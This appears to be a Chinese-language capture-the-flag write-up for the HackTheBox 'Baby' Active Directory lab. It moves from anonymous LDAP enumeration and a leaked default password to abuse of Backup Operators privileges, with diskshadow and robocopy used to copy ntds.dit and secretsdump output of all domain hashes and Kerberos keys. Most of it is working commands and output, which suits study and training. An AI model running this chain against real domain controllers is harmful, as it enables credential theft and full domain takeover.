supportedLDAPPolicies: ThreadMemoryLimit
supportedLDAPPolicies: SystemMemoryLimitPercent
supportedControl: 1.2.840.113556.1.4.319
supportedControl: 1.2.840.113556.1.4.801
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 1.2.840.113556.1.4.528
supportedControl: 1.2.840.113556.1.4.417
supportedControl: 1.2.840.113556.1.4.619
supportedControl: 1.2.840.113556.1.4.841
supportedControl: 1.2.840.113556.1.4.529
supportedControl: 1.2.840.113556.1.4.805
supportedControl: 1.2.840.113556.1.4.521
supportedControl: 1.2.840.113556.1.4.970
supportedControl: 1.2.840.113556.1.4.1338
supportedControl: 1.2.840.113556.1.4.474
supportedControl: 1.2.840.113556.1.4.1339
supportedControl: 1.2.840.113556.1.4.1340
supportedControl: 1.2.840.113556.1.4.1413
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.10
supportedControl: 1.2.840.113556.1.4.1504
supportedControl: 1.2.840.113556.1.4.1852
supportedControl: 1.2.840.113556.1.4.802
supportedControl: 1.2.840.113556.1.4.1907
supportedControl: 1.2.840.113556.1.4.1948
supportedControl: 1.2.840.113556.1.4.1974
supportedControl: 1.2.840.113556.1.4.1341
supportedControl: 1.2.840.113556.1.4.2026
supportedControl: 1.2.840.113556.1.4.2064
supportedControl: 1.2.840.113556.1.4.2065
supportedControl: 1.2.840.113556.1.4.2066
supportedControl: 1.2.840.113556.1.4.2090
supportedControl: 1.2.840.113556.1.4.2205
supportedControl: 1.2.840.113556.1.4.2204
supportedControl: 1.2.840.113556.1.4.2206
supportedControl: 1.2.840.113556.1.4.2211
supportedControl: 1.2.840.113556.1.4.2239
supportedControl: 1.2.840.113556.1.4.2255
supportedControl: 1.2.840.113556.1.4.2256
supportedControl: 1.2.840.113556.1.4.2309
supportedControl: 1.2.840.113556.1.4.2330
supportedControl: 1.2.840.113556.1.4.2354
supportedCapabilities: 1.2.840.113556.1.4.800
supportedCapabilities: 1.2.840.113556.1.4.1670
supportedCapabilities: 1.2.840.113556.1.4.1791
supportedCapabilities: 1.2.840.113556.1.4.1935
supportedCapabilities: 1.2.840.113556.1.4.2080
supportedCapabilities: 1.2.840.113556.1.4.2237
subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=baby,DC=vl
serverName: CN=BABYDC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Config
 uration,DC=baby,DC=vl
schemaNamingContext: CN=Schema,CN=Configuration,DC=baby,DC=vl
namingContexts: DC=baby,DC=vl
namingContexts: CN=Configuration,DC=baby,DC=vl
namingContexts: CN=Schema,CN=Configuration,DC=baby,DC=vl
namingContexts: DC=DomainDnsZones,DC=baby,DC=vl
namingContexts: DC=ForestDnsZones,DC=baby,DC=vl
isSynchronized: TRUE
highestCommittedUSN: 118878
dsServiceName: CN=NTDS Settings,CN=BABYDC,CN=Servers,CN=Default-First-Site-Nam
 e,CN=Sites,CN=Configuration,DC=baby,DC=vl
dnsHostName: BabyDC.baby.vl
defaultNamingContext: DC=baby,DC=vl
currentTime: 20250919021248.0Z
configurationNamingContext: CN=Configuration,DC=baby,DC=vl

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

利用nxc获得了一个用户的提示

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ nxc ldap $ip -u "" -p "" --users
LDAP        10.129.234.71   389    BABYDC           [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.234.71   389    BABYDC           [+] baby.vl\: 
LDAP        10.129.234.71   389    BABYDC           [*] Enumerated 9 domain users: baby.vl
LDAP        10.129.234.71   389    BABYDC           -Username-                    -Last PW Set-       -BadPW-  -Description-
LDAP        10.129.234.71   389    BABYDC           Guest                         <never>             0        Built-in account for guest access to the computer/domain
LDAP        10.129.234.71   389    BABYDC           Jacqueline.Barnett            2021-11-21 10:11:03 0
LDAP        10.129.234.71   389    BABYDC           Ashley.Webb                   2021-11-21 10:11:03 0
LDAP        10.129.234.71   389    BABYDC           Hugh.George                   2021-11-21 10:11:03 0
LDAP        10.129.234.71   389    BABYDC           Leonard.Dyer                  2021-11-21 10:11:03 0
LDAP        10.129.234.71   389    BABYDC           Connor.Wilkinson              2021-11-21 10:11:08 0
LDAP        10.129.234.71   389    BABYDC           Joseph.Hughes                 2021-11-21 10:11:08 0
LDAP        10.129.234.71   389    BABYDC           Kerry.Wilson                  2021-11-21 10:11:08 0
LDAP        10.129.234.71   389    BABYDC           Teresa.Bell                   2021-11-21 10:14:37 0        Set initial password to BabyStart123!

但是这个密码既不是这个用户的密码，也没有爆破出来凭证复用，我觉得肯定有用，所以开始枚举漏掉的用户，先查询域内所有信息

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ ldapsearch -H ldap://$ip -x -b "DC=baby,DC=vl" > ldap-anonymous

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ cat ldap-anonymous | grep CN=*
dn: CN=Administrator,CN=Users,DC=baby,DC=vl
dn: CN=Guest,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Guest,CN=Users,DC=baby,DC=vl
memberOf: CN=Guests,CN=Builtin,DC=baby,DC=vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=krbtgt,CN=Users,DC=baby,DC=vl
dn: CN=Domain Computers,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Domain Computers,CN=Users,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Domain Controllers,CN=Users,DC=baby,DC=vl
dn: CN=Schema Admins,CN=Users,DC=baby,DC=vl
dn: CN=Enterprise Admins,CN=Users,DC=baby,DC=vl
dn: CN=Cert Publishers,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Cert Publishers,CN=Users,DC=baby,DC=vl
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Domain Admins,CN=Users,DC=baby,DC=vl
dn: CN=Domain Users,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Domain Users,CN=Users,DC=baby,DC=vl
memberOf: CN=Users,CN=Builtin,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Domain Guests,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Domain Guests,CN=Users,DC=baby,DC=vl
memberOf: CN=Guests,CN=Builtin,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Group Policy Creator Owners,CN=Users,DC=baby,DC=vl
member: CN=Administrator,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Group Policy Creator Owners,CN=Users,DC=baby,DC=vl
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=RAS and IAS Servers,CN=Users,DC=baby,DC=vl
distinguishedName: CN=RAS and IAS Servers,CN=Users,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Allowed RODC Password Replication Group,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Allowed RODC Password Replication Group,CN=Users,DC=baby
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Denied RODC Password Replication Group,CN=Users,DC=baby,DC=vl
member: CN=Read-only Domain Controllers,CN=Users,DC=baby,DC=vl
member: CN=Group Policy Creator Owners,CN=Users,DC=baby,DC=vl
member: CN=Domain Admins,CN=Users,DC=baby,DC=vl
member: CN=Cert Publishers,CN=Users,DC=baby,DC=vl
member: CN=Enterprise Admins,CN=Users,DC=baby,DC=vl
member: CN=Schema Admins,CN=Users,DC=baby,DC=vl
member: CN=Domain Controllers,CN=Users,DC=baby,DC=vl
member: CN=krbtgt,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Denied RODC Password Replication Group,CN=Users,DC=baby,
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Read-only Domain Controllers,CN=Users,DC=baby,DC=vl
dn: CN=Enterprise Read-only Domain Controllers,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Enterprise Read-only Domain Controllers,CN=Users,DC=baby
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Cloneable Domain Controllers,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Cloneable Domain Controllers,CN=Users,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Protected Users,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Protected Users,CN=Users,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Key Admins,CN=Users,DC=baby,DC=vl
dn: CN=Enterprise Key Admins,CN=Users,DC=baby,DC=vl
dn: CN=DnsAdmins,CN=Users,DC=baby,DC=vl
distinguishedName: CN=DnsAdmins,CN=Users,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=DnsUpdateProxy,CN=Users,DC=baby,DC=vl
distinguishedName: CN=DnsUpdateProxy,CN=Users,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=dev,CN=Users,DC=baby,DC=vl
member: CN=Ian Walker,OU=dev,DC=baby,DC=vl
member: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
member: CN=Hugh George,OU=dev,DC=baby,DC=vl
member: CN=Ashley Webb,OU=dev,DC=baby,DC=vl
member: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
distinguishedName: CN=dev,CN=Users,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
distinguishedName: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
memberOf: CN=dev,CN=Users,DC=baby,DC=vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Ashley Webb,OU=dev,DC=baby,DC=vl
distinguishedName: CN=Ashley Webb,OU=dev,DC=baby,DC=vl
memberOf: CN=dev,CN=Users,DC=baby,DC=vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Hugh George,OU=dev,DC=baby,DC=vl
distinguishedName: CN=Hugh George,OU=dev,DC=baby,DC=vl
memberOf: CN=dev,CN=Users,DC=baby,DC=vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
distinguishedName: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
memberOf: CN=dev,CN=Users,DC=baby,DC=vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Ian Walker,OU=dev,DC=baby,DC=vl
dn: CN=it,CN=Users,DC=baby,DC=vl
member: CN=Caroline Robinson,OU=it,DC=baby,DC=vl
member: CN=Teresa Bell,OU=it,DC=baby,DC=vl
member: CN=Kerry Wilson,OU=it,DC=baby,DC=vl
member: CN=Joseph Hughes,OU=it,DC=baby,DC=vl
member: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
distinguishedName: CN=it,CN=Users,DC=baby,DC=vl
memberOf: CN=Remote Management Users,CN=Builtin,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
distinguishedName: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
memberOf: CN=it,CN=Users,DC=baby,DC=vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Joseph Hughes,OU=it,DC=baby,DC=vl
distinguishedName: CN=Joseph Hughes,OU=it,DC=baby,DC=vl
memberOf: CN=it,CN=Users,DC=baby,DC=vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Kerry Wilson,OU=it,DC=baby,DC=vl
distinguishedName: CN=Kerry Wilson,OU=it,DC=baby,DC=vl
memberOf: CN=it,CN=Users,DC=baby,DC=vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Teresa Bell,OU=it,DC=baby,DC=vl
distinguishedName: CN=Teresa Bell,OU=it,DC=baby,DC=vl
memberOf: CN=it,CN=Users,DC=baby,DC=vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Caroline Robinson,OU=it,DC=baby,DC=vl
ref: ldap://baby.vl/CN=Configuration,DC=baby,DC=vl

将dn筛选出来，我们能获得这些用户

Administrator
Guest
krbtgt
Connor.Wilkinson
Joseph.Hughes
Kerry.Wilson
Teresa.Bell
Caroline.Robinson
Jacqueline.Barnett
Ashley.Webb
Hugh.George
Leonard.Dyer
Ian.Walker

这里我漏了一张图，打完回来找已经翻不到了，简单来说就是nxc看到了需要更改密码，Caroline.Robinson的密码就是我们之前找到的那个

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ smbpasswd -U Caroline.Robinson -r $ip
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user Caroline.Robinson

改密码后我们就能登陆了，也有winrm权限

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ nxc smb $ip -u $user2 -p 'SunnyDay2025!'
SMB         10.129.42.166   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domin:baby.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.42.166   445    BABYDC           [+] baby.vl\Caroline.Robinson:SunnyDay2025! 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ nxc winrm $ip -u $user2 -p 'SunnyDay2025!'
WINRM       10.129.42.166   5985   BABYDC           [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl)
WINRM       10.129.42.166   5985   BABYDC           [+] baby.vl\Caroline.Robinson:SunnyDay2025! (Pwn3d!)

提权

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ evil-winrm -i $ip -u $user2  -p 'SunnyDay2025!'
                                        
Evil-WinRM shell v3.7 
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline 
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion 
                                        
Info: Establishing connection to remote endpoint 
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> whoami /all

USER INFORMATION
----------------

User Name              SID
====================== ==============================================
baby\caroline.robinson S-1-5-21-1407081343-4001094062-1444647654-1115


GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                            Attributes
========================================== ================ ============================================== ==================================================
Everyone                                   Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators                   Alias            S-1-5-32-551                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
BABY\it                                    Group            S-1-5-21-1407081343-4001094062-1444647654-1109 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents>

打备份管理员，我本来想nxc直接远程抓算了


┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ nxc smb $ip -u $user2 -p ^[[200~ -p 'SunnyDay2025!' -M backup_operator
/home/wackymaker/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import resource_filename
SMB         10.129.42.166   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domin:baby.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.42.166   445    BABYDC           [+] baby.vl\Caroline.Robinson:SunnyDay2025! 
BACKUP_O... 10.129.42.166   445    BABYDC           [*] Triggering RemoteRegistry to start through named pipe...
BACKUP_O... 10.129.42.166   445    BABYDC           Saved HKLM\SAM to \\10.129.42.166\SYSVOL\SAM
BACKUP_O... 10.129.42.166   445    BABYDC           Saved HKLM\SYSTEM to \\10.129.42.166\SYSVOL\SYSTEM
BACKUP_O... 10.129.42.166   445    BABYDC           Saved HKLM\SECURITY to \\10.129.42.166\SYSVOL\SECURITY
SMB         10.129.42.166   445    BABYDC           [*] Copying "SAM" to "/home/wackymaker/.nxc/logs/BABYDC_10.129.42.166_2025-09-18_230638.SAM"
SMB         10.129.42.166   445    BABYDC           [+] File "SAM" was downloaded to "/home/wackymaker/.nxc/logs/BABYDC_10.129.42.166_2025-09-18_230638.SAM"
SMB         10.129.42.166   445    BABYDC           [*] Copying "SECURITY" to "/home/wackymaker/.nxc/logs/BABYDC_10.129.42.166_2025-09-18_230638.SECURITY"
SMB         10.129.42.166   445    BABYDC           [+] File "SECURITY" was downloaded to "/home/wackymaker/.nxc/logs/BABYDC_10.129.42.166_2025-09-18_230638.SECURITY"
SMB         10.129.42.166   445    BABYDC           [*] Copying "SYSTEM" to "/home/wackymaker/.nxc/logs/BABYDC_10.129.42.166_2025-09-18_230638.SYSTEM"
SMB         10.129.42.166   445    BABYDC           [+] File "SYSTEM" was downloaded to "/home/wackymaker/.nxc/logs/BABYDC_10.129.42.166_2025-09-18_230638.SYSTEM"
BACKUP_O... 10.129.42.166   445    BABYDC           Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::
BACKUP_O... 10.129.42.166   445    BABYDC           Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BACKUP_O... 10.129.42.166   445    BABYDC           DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BACKUP_O... 10.129.42.166   445    BABYDC           $MACHINE.ACC:plain_password_hex:0d43eb797b84b0b440fbcb0d89fea14f8458970482b891850f2d2106c7c08447f2aa725adc71c58241311e5cebf5b75d43f5b541a43d583665ea4669bee9d1910c4ee1f4703104fccf44eb3ac2b3bb31ed1712e4fca7e416d3bd561993cd88a9750b0a04466909e51660a3fec061e9f5a51e8e10fe8c2653cd610140611ea9cd2fc1f436829369373bfb51fc5214666a9073e7a8124f4a07414ee0a7e565f24745f2ec5f134e7b7dca577813e5e82867ea33b16a1797c51703731eb1e4273db597063d62cb7f1c1a0faae15ab06aadea286b87cf6f2d28127fb948113c6b57c92a97c1aad038f958404b27f6e6d6fba5
BACKUP_O... 10.129.42.166   445    BABYDC           $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:3d538eabff6633b62dbaa5fb5ade3b4d
BACKUP_O... 10.129.42.166   445    BABYDC           dpapi_machinekey:0xe620195f1a5e2d71842bbad9877d7c3ca8a31eda
dpapi_userkey:0x026920834cd39c2e8ba9401c44a8869fe6be0555
BACKUP_O... 10.129.42.166   445    BABYDC           NL$KM:b696c77e178a0cdd8c39c20aa2912444a2e44dc2095946c07f95ea11cb7fcb72ec2e5a06011b26fe6da7880fa5e71fa596cde53fa0065ec1a501a1ce8c247695
SMB         10.129.42.166   445    BABYDC           [-] baby.vl\Administrator:8d992faed38128ae85e95fa35868bb43 SessionError
BACKUP_O... 10.129.42.166   445    BABYDC           [*] Use the domain admin account to clean the file on the remote host
BACKUP_O... 10.129.42.166   445    BABYDC           [*] netexec smb dc_ip -u user -p pass -x "del C:\Windows\sysvol\sysvol\SECURITY && del C:\Windows\sysvol\sysvol\SAM && del C:\Windows\sysvol\sysvol\SYSTEM"

但是sam抓出来的本地管理员不是域管理员登陆不上，psexec也没法本地管理员登陆。估计是禁用了

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ evil-winrm -i 10.129.64.108 -u 'administrator' -H '8d992faed38128ae85e95fa35868bb43'
                                        
Evil-WinRM shell v3.7 
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline 
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion 
                                        
Info: Establishing connection to remote endpoint 
                                        
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError 
                                        
Error: Exiting with code 1

只能打卷影复制器

*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> echo "create" | out-file ./diskshadow.txt -encoding ascii -append 
*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append
*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> diskshadow.exe /s C:\Users\Caroline.Robinson\AppData\Local\Temp\diskshadow.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  BABYDC,  9/19/2025 3:28:54 AM

-> set context persistent nowriters
-> add volume c: alias temp
-> create
Alias temp for shadow ID {a423bade-6a97-4a48-882e-1ca7312f498f} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {7a62d230-0941-4238-8904-5fed8646ecab} set as environment variable.

Querying all shadow copies with the shadow copy set ID {7a62d230-0941-4238-8904-5fed8646ecab}

	* Shadow copy ID = {a423bade-6a97-4a48-882e-1ca7312f498f}		%temp%
		- Shadow copy set: {7a62d230-0941-4238-8904-5fed8646ecab}	%VSS_SHADOW_SET%
		- Original count of shadow copies = 1
		- Original volume name: \\?\Volume{711fc68a-0000-0000-0000-100000000000}\ [C:\]
		- Creation time: 9/19/2025 3:28:54 AM
		- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
		- Originating machine: BabyDC.baby.vl
		- Service machine: BabyDC.baby.vl
		- Not exposed
		- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
		- Attributes:  No_Auto_Release Persistent No_Writers Differential

Number of shadow copies listed: 1
-> expose %temp% z:
-> %temp% = {a423bade-6a97-4a48-882e-1ca7312f498f}
The shadow copy was successfully exposed as z:\.
->
*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> robocopy /B Z:\Windows\NTDS . ntds.dit

-------------------------------------------------------------------------------
   ROBOCOPY     ::     Robust File Copy for Windows
-------------------------------------------------------------------------------

  Started : Friday, September 19, 2025 3:29:44 AM
   Source : Z:\Windows\NTDS\
     Dest : C:\Users\Caroline.Robinson\AppData\Local\Temp\

    Files : ntds.dit

  Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30

------------------------------------------------------------------------------

	                   1	Z:\Windows\NTDS\
	    New File  		  16.0 m	ntds.dit
  0.0%
  0.3%
  0.7%
  1.1%
...........
 99.2%
 99.6%
100%
100%

------------------------------------------------------------------------------

               Total    Copied   Skipped  Mismatch    FAILED    Extras
    Dirs :         1         0         1         0         0         0
   Files :         1         1         0         0         0         0
   Bytes :   16.00 m   16.00 m         0         0         0         0
   Times :   0:00:00   0:00:00                       0:00:00   0:00:00


   Speed :           153,919,412 Bytes/sec.
   Speed :             8,807.340 MegaBytes/min.
   Ended : Friday, September 19, 2025 3:29:44 AM

*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> reg save hklm\system C:\SYSTEM
The operation completed successfully.

*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> dir


    Directory: C:\Users\Caroline.Robinson\AppData\Local\Temp


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/19/2025   3:28 AM            610 2025-09-19_3-28-54_BABYDC.cab
-a----         9/19/2025   3:24 AM            510 Dis2C4D.tmp
-a----         9/19/2025   3:26 AM           1356 Dis3D2C.tmp
-a----         9/19/2025   3:28 AM           2294 Dis6A0E.tmp
-a----         9/19/2025   3:28 AM             86 diskshadow.txt
-a----         9/19/2025   3:28 AM           1176 Manifest.xml
-a----         9/19/2025   3:16 AM       16777216 ntds.dit


*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> download ntds.dit
                                        
Info: Downloading C:\Users\Caroline.Robinson\AppData\Local\Temp\ntds.dit to ntds.dit 
                                        
Info: Download successful! 
*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> download system
                                        
Info: Downloading C:\Users\Caroline.Robinson\AppData\Local\Temp\system to system 
                                        
Error: Download failed. Check filenames or paths 
*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> download c:/system
                                        
Info: Downloading c:/system to system 
                                        
Info: Download successful! 
*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp>

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ impacket-secretsdump -system system -ntds ntds.dit LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 41d56bf9b458d01951f592ee4ba00ea6
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BABYDC$:1000:aad3b435b51404eeaad3b435b51404ee:3d538eabff6633b62dbaa5fb5ade3b4d:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6da4842e8c24b99ad21a92d620893884:::
baby.vl\Jacqueline.Barnett:1104:aad3b435b51404eeaad3b435b51404ee:20b8853f7aa61297bfbc5ed2ab34aed8:::
baby.vl\Ashley.Webb:1105:aad3b435b51404eeaad3b435b51404ee:02e8841e1a2c6c0fa1f0becac4161f89:::
baby.vl\Hugh.George:1106:aad3b435b51404eeaad3b435b51404ee:f0082574cc663783afdbc8f35b6da3a1:::
baby.vl\Leonard.Dyer:1107:aad3b435b51404eeaad3b435b51404ee:b3b2f9c6640566d13bf25ac448f560d2:::
baby.vl\Ian.Walker:1108:aad3b435b51404eeaad3b435b51404ee:0e440fd30bebc2c524eaaed6b17bcd5c:::
baby.vl\Connor.Wilkinson:1110:aad3b435b51404eeaad3b435b51404ee:e125345993f6258861fb184f1a8522c9:::
baby.vl\Joseph.Hughes:1112:aad3b435b51404eeaad3b435b51404ee:31f12d52063773769e2ea5723e78f17f:::
baby.vl\Kerry.Wilson:1113:aad3b435b51404eeaad3b435b51404ee:181154d0dbea8cc061731803e601d1e4:::
baby.vl\Teresa.Bell:1114:aad3b435b51404eeaad3b435b51404ee:7735283d187b758f45c0565e22dc20d8:::
baby.vl\Caroline.Robinson:1115:aad3b435b51404eeaad3b435b51404ee:5fa67a134024d41bb4ff8bfd7da5e2b5:::
[*] Kerberos keys from ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:ad08cbabedff5acb70049bef721524a23375708cadefcb788704ba00926944f4
Administrator:aes128-cts-hmac-sha1-96:ac7aa518b36d5ea26de83c8d6aa6714d
Administrator:des-cbc-md5:d38cb994ae806b97
BABYDC$:aes256-cts-hmac-sha1-96:1a7d22edfaf3a8083f96a0270da971b4a42822181db117cf98c68c8f76bcf192
BABYDC$:aes128-cts-hmac-sha1-96:406b057cd3a92a9cc719f23b0821a45b
BABYDC$:des-cbc-md5:8fef68979223d645
krbtgt:aes256-cts-hmac-sha1-96:9c578fe1635da9e96eb60ad29e4e4ad90fdd471ea4dff40c0c4fce290a313d97
krbtgt:aes128-cts-hmac-sha1-96:1541c9f79887b4305064ddae9ba09e14
krbtgt:des-cbc-md5:d57383f1b3130de5
baby.vl\Jacqueline.Barnett:aes256-cts-hmac-sha1-96:851185add791f50bcdc027e0a0385eadaa68ac1ca127180a7183432f8260e084
